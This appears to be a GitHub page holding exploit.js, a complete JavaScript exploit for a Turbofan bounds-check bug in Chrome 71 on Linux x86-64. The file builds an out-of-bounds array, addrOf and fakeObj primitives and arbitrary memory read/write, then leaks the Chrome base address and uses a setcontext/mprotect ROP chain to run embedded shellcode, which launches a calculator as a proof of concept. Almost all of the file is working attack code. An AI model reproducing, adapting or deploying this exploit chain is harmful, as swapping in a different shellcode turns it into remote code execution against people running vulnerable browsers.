-
Notifications
You must be signed in to change notification settings - Fork 2
/
exploit.js
298 lines (240 loc) · 8.98 KB
/
exploit.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
let run = () => {
//alert(1);
/*
* Constants are from the target chrome binary
*/
// Current constants from linux x86-64 71.0.3578.98
const CHROME_MPROTECT_GOT_OFFSET = 0x6cfc808n; // Offset to mprotect@GOT.PLT
const CHROME_GETCONTEXT_GOT_OFFSET = 0x6cfe830n; // Offset to getcontext@GOT.PLT
const CHROME_ARRAY_CONSTRUCTOR_OFFSET = 0x1c76900n; // Offset to Builtins_ArrayConstructor
// Pop gnome-calculator
const SHELLCODE = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 99, 104, 111, 46, 114, 105, 1, 72, 49, 4, 36, 72, 137, 231, 104, 44, 98, 1, 1, 129, 52, 36, 1, 1, 1, 1, 73, 137, 224, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 33, 101, 110, 111, 100, 38, 1, 1, 72, 49, 4, 36, 72, 184, 99, 117, 108, 97, 116, 111, 114, 59, 80, 72, 184, 110, 111, 109, 101, 45, 99, 97, 108, 80, 72, 184, 115, 114, 47, 98, 105, 110, 47, 103, 80, 72, 184, 89, 61, 58, 36, 100, 32, 47, 117, 80, 72, 184, 118, 32, 68, 73, 83, 80, 76, 65, 80, 72, 184, 53, 59, 32, 100, 111, 32, 101, 110, 80, 72, 184, 49, 32, 50, 32, 51, 32, 52, 32, 80, 72, 184, 32, 100, 32, 105, 110, 32, 48, 32, 80, 72, 184, 32, 45, 99, 32, 39, 102, 111, 114, 80, 72, 184, 32, 47, 98, 105, 110, 47, 115, 104, 80, 73, 137, 225, 106, 1, 254, 12, 36, 65, 81, 65, 80, 87, 106, 59, 88, 72, 137, 230, 153, 15, 5, 0xcc];
let conva = new ArrayBuffer(8);
let convi = new Uint32Array(conva);
let convf = new Float64Array(conva);
/*
* Bignum conversion utils
*/
// Convert 64bit float to bigint
let fti = (f) => {
convf[0] = f;
return BigInt(convi[0]) + (BigInt(convi[1])<<32n);
}
// Convert BitInt to 64bit float
let itf = (b) => {
convi[0] = Number(b&0xffffffffn);
convi[1] = Number(b>>32n);
return convf[0];
}
// Write a BigInt to a Uint32Array at a given offset
let iti32a = (b, a, i=0) => {
a[i] = Number(b&0xffffffffn);
a[i+1] = Number(b>>32n);
}
// Read a BigInt from a Uint32Array at a given offset
let i32ati = (a, i=0) => {
return BigInt(a[i]) + (BigInt(a[i+1])<<32n);
}
/*
* In this function we use the length of the arguments to calculate the number 1.
* Turbofan things arguments are limited to a smaller number, so it will optimize
* out the bounds checks based on our number, giving us oob read/write
*/
function opt(arg) {
let x = arguments.length;
a1 = new Array(0x10);
a2 = new Array(2);
a2[0] = 1.1; // Convert a2 to a PACKED_DOUBLE_ELEMENTS jsarray
a2[1] = 1.1;
a1[(x >> 16) * 27] = 1.39064994160909e-309; // 0xffff00000000
}
var a1, a2;
let small = [1.1];
let large = [1.1,1.1];
large.length = 65536;
large.fill(1.1);
for (let j = 0; j< 100000; j++) {
opt.apply(null, small);
}
// Trigger bug
opt.apply(null, large);
if (a2.length === 2)
throw("Bug or heap layout did not work");
/*
* Allocate objects we want to use with our new oob array
*/
let master_ab = new ArrayBuffer(0x4000);
let target_array = new Array(0x10);
target_array[0] = 0x41424344;
target_array[1] = master_ab;
let slave_ab = new ArrayBuffer(0x5000);
/*
* Scan forward with our new oob array to locate our objects above
*/
let master_ab_off = null;
let addr_arr_off = null;
for (let j=0; j<0x100; j++) {
let b = fti(a2[j]);
console.log(b.toString(16));
//if (master_ab_off === null && b === 0x400000000000n) {
if (master_ab_off === null && b === 0x4000n) {
master_ab_off = j+1;
}
if (addr_arr_off === null && b === 0x4142434400000000n) {
addr_arr_off = j;
}
if (master_ab_off !== null && addr_arr_off !== null)
break
}
if (master_ab_off === null || addr_arr_off === null) {
throw("Could not find offsets");
}
/*
* Build addrOf and fakeObj using the PACKED_ELEMENTS array
*/
let p = {
addrOf: (o) => {
target_array[0] = o;
return fti(a2[addr_arr_off])-1n;
},
fakeObj: (a) => {
a2[addr_arr_off] = itf(a + 1n);
return target_array[0];
}
}
/*
* Point one array buffer at the other, we will use this
* to modify the slave buffer and get arbitrary read and write
*/
let slave_ab_p = p.addrOf(slave_ab);
console.log('slave_ab at ',slave_ab_p.toString(16));
a2[master_ab_off] = itf(slave_ab_p);
(()=>{
// This Uin32Array will give us access to the slave array buffer
let master_i32 = new Uint32Array(master_ab);
p.read64 = (a) => {
// Write the target address over the backing store pointer
iti32a(a, master_i32, 8);
// Read 64 bits from this address
let slave_i32 = new Uint32Array(slave_ab);
return i32ati(slave_i32, 0);
}
p.write64 = (a, v) => {
// Write the target address over the backing store pointer
iti32a(a, master_i32, 8);
// Write 64 bits from this address
let slave_i32 = new Uint32Array(slave_ab);
iti32a(v, slave_i32, 0);
}
p.tmp_ab = (a,v) => {
// Write the target address over the backing store pointer
iti32a(a, master_i32, 8);
return slave_ab;
}
}
)();
/*
* Leak a pointer back to the chrome binary via Array constructor's code
*/
// Get the address of the Array constructor function object
let array_imp_p = p.addrOf(Array);
console.log('Array_imp_p = '+array_imp_p.toString(16));
// Retrive the address of the function's JIT metadata and code at offset 0x30
let array_code_p = p.read64(array_imp_p + 0x30n)-1n;
console.log('Array_code_p = '+array_code_p.toString(16));
// Read the address of Builtins_ArrayConstructor from an instruction in the JIT code at ofset 0x40 + 2
let Builtins_ArrayConstructor = p.read64(array_code_p + 0x42n);
console.log('Builtins_ArrayConstructor = '+Builtins_ArrayConstructor.toString(16));
// Calculate the offset to the chrome ELF base
let chrome_base = Builtins_ArrayConstructor - CHROME_ARRAY_CONSTRUCTOR_OFFSET;
console.log('Chrome base = '+chrome_base.toString(16));
/*
* Resolve our library functions
*/
// Read the address of getcontext in libc from the chrome GOT
let getcontext = p.read64(chrome_base + CHROME_GETCONTEXT_GOT_OFFSET);
console.log('getcontext = '+getcontext.toString(16));
/*
* Search after getcontext for the gadget in setcontext we will use
*/
let setcontext = null;
let getcontext_ab = new Uint8Array(p.tmp_ab(getcontext));
for (let i=0; i<0x300; i++) {
// We are searching for these instructions
// mov rsp,QWORD PTR [rdi+0xa0]
// mov rbx,QWORD PTR [rdi+0x80]
// First 8 bytes:
// 0x48 0x8b 0xa7 0xa0 0x00 0x00 0x00 0x48
if (getcontext_ab[i] === 0x48 &&
getcontext_ab[i+1] === 0x8b &&
getcontext_ab[i+2] === 0xa7 &&
getcontext_ab[i+3] === 0xa0 &&
getcontext_ab[i+4] === 0x00 &&
getcontext_ab[i+5] === 0x00 &&
getcontext_ab[i+6] === 0x00 &&
getcontext_ab[i+7] === 0x48) {
// Save the address
setcontext = getcontext+BigInt(i);
break;
}
}
if (setcontext === null)
throw("Could not find setcontext");
getcontext_ab = null;
let mprotect = p.read64(chrome_base + CHROME_MPROTECT_GOT_OFFSET);
/*
* We are going to create a fake function object by copying a real one,
* then we can write to about +0xa0 safely. We can use setcontext to control
* registers using this object.
*/
let f_obj = ()=>{ return 1 };
f_obj();
f_obj();
f_obj();
// Find the jit code address for this function
let f_obj_p = p.addrOf(f_obj);
console.log('f_obj_p =',f_obj_p.toString(16));
// Build a new PACKED_DOUBLE_ELEMENTS array to store our fake function in
let fake_f_obj_buff = new Array(40);
fake_f_obj_buff.fill(1.1);
// Copy the JSFunction as floats
let float_b = new Float64Array(p.tmp_ab(f_obj_p));
for (let i = 0; i < 20; i++) {
fake_f_obj_buff[i] = float_b[i];
}
float_b = null;
// Allocate space for shellcode
let sc = new ArrayBuffer(0x4000);
// Write the shellcode to this page
let sc_i8 = new Uint8Array(sc);
sc_i8.set(SHELLCODE);
// Read the backingstore pointer to find the address of the shellcode
let sc_p = p.read64(p.addrOf(sc) + 0x20n);
// Allocate space for the stack of our ROP chain
let ropchain = new ArrayBuffer(0x4000);
let ropchain_i32 = new Uint32Array(ropchain);
// Write our shellcode address as the one gadget on the stack
ropchain_i32.set([
Number(sc_p & 0xffffffffn), Number(sc_p >> 32n)
], 0x2000/4);
// Find the address of this memory
let ropchain_p = p.read64(p.addrOf(ropchain) + 0x20n);
// Get the address of the fake buffer
let fake_f_obj_p = p.read64(p.addrOf(fake_f_obj_buff) + 0x10n) + 0xfn;
// Write the registers to setup a call to mprotect
p.write64(fake_f_obj_p + 0xa1n, ropchain_p + 0x2000n) // RSP
p.write64(fake_f_obj_p + 0xa9n, mprotect) // RIP
p.write64(fake_f_obj_p + 0x69n, sc_p&0xfffffffffffff000n) // RDI
p.write64(fake_f_obj_p + 0x71n, 0x4000n) // RSI
p.write64(fake_f_obj_p + 0x89n, 7n) // RDX
// Overwrite the JIT pointer in our fake object with our setcontext gadget - 0x40
p.write64(fake_f_obj_p + 0x30n, setcontext - 0x3fn);
let fake_holder = [slave_ab /* place holder jsobject */];
// Retrieve the fake object from our constructed buffer
fake_holder[0] = p.fakeObj(fake_f_obj_p);
//alert(1);
// Call it to trigger our ROP chain
console.log("ROPPING");
fake_holder[0]();
}
setTimeout(run, 100);